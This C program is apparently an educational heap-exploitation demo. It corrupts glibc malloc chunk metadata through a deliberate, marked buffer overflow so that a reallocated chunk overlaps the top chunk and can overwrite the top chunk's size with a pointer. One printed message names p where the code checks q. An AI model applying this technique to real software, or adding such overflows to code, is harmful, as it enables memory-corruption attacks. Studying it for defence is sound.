#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main() {
  fprintf(
    stderr,
    "This demo shows how to create a chunk that overlaps with the top chunk.\n"
    "\n"
    "First, let's allocate 0x500 bytes twice:\n"
    "\n"
  );

  char *p = malloc(0x500);
  char *q = malloc(0x500);
  assert(q == p + 0x510);

  fprintf(
    stderr,
    "p = %p\n"
    "q = %p\n"
    "\n",
    p, q
  );

  const size_t* pq_metadata = (size_t*)&p[0x500];
  fprintf(
    stderr,
    "Metadata between p and q:\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    pq_metadata, pq_metadata[0], pq_metadata[1]
  );

  const size_t* top_metadata = (size_t*)&q[0x500];
  fprintf(
    stderr,
    "Top chunk metadata:\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    top_metadata, top_metadata[0], top_metadata[1]
  );

  fprintf(
    stderr,
    "Now let's use a buffer overflow on p to increase the size of q by 0x100 bytes.\n"
    "\n"
  );

  // ----- VULNERABILITY ----
  const size_t overflow_len = 0x500 + 0x610 + 0x30;
  // First trash the memory completely, to simulate the effect of
  // a heap buffer overflow.
  memset(p, 0, overflow_len);
  *(size_t*)&p[0x508] = 0x611; // 0x100 bigger than before.
  *(size_t*)&p[0x500 + 0x510 + 0x8] = 0x10001; // Top chunk size
  *(size_t*)&p[0x500 + 0x610 + 0x8] = 0x21;  // Fake next chunk
  *(size_t*)&p[0x500 + 0x610 + 0x28] = 0x21; // Fake next chunk
  // ------------------------

  fprintf(
    stderr,
    "The buffer overflow has modified the metadata between p and q:\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    pq_metadata, pq_metadata[0], pq_metadata[1]
  );

  fprintf(
    stderr,
    "It has also overwritten the top chunk metadata:\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    top_metadata, top_metadata[0], top_metadata[1]
  );

  const size_t* fake_metadata = (size_t*)&p[0x500 + 0x610];
  fprintf(
    stderr,
    "And it has created a fake next chunk to terminate the enlarged chunk:\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    fake_metadata, fake_metadata[0], fake_metadata[1],
    fake_metadata+2, fake_metadata[2], fake_metadata[3],
    fake_metadata+4, fake_metadata[4], fake_metadata[5]
  );

  fprintf(stderr, "Now let's free q.\n\n");
  free(q);

  fprintf(
    stderr,
    "If we allocate 0x600 bytes, we get back the same pointer as p.\n"
    "\n"
  );
  char *r = malloc(0x600);
  assert(r == q);

  // Note: this write is not a vulnerability. It is within the bounds of r.
  int stack_var = 0;
  *(int**)&r[0x508] = &stack_var;

  fprintf(
    stderr,
    "This buffer overlaps with the top chunk, so we can use it to\n"
    "overwrite the size of the top chunk with a pointer:\n"
    "%p:  %.16lx %.16lx\n",
    top_metadata, top_metadata[0], top_metadata[1]
  );

  return 0;
}
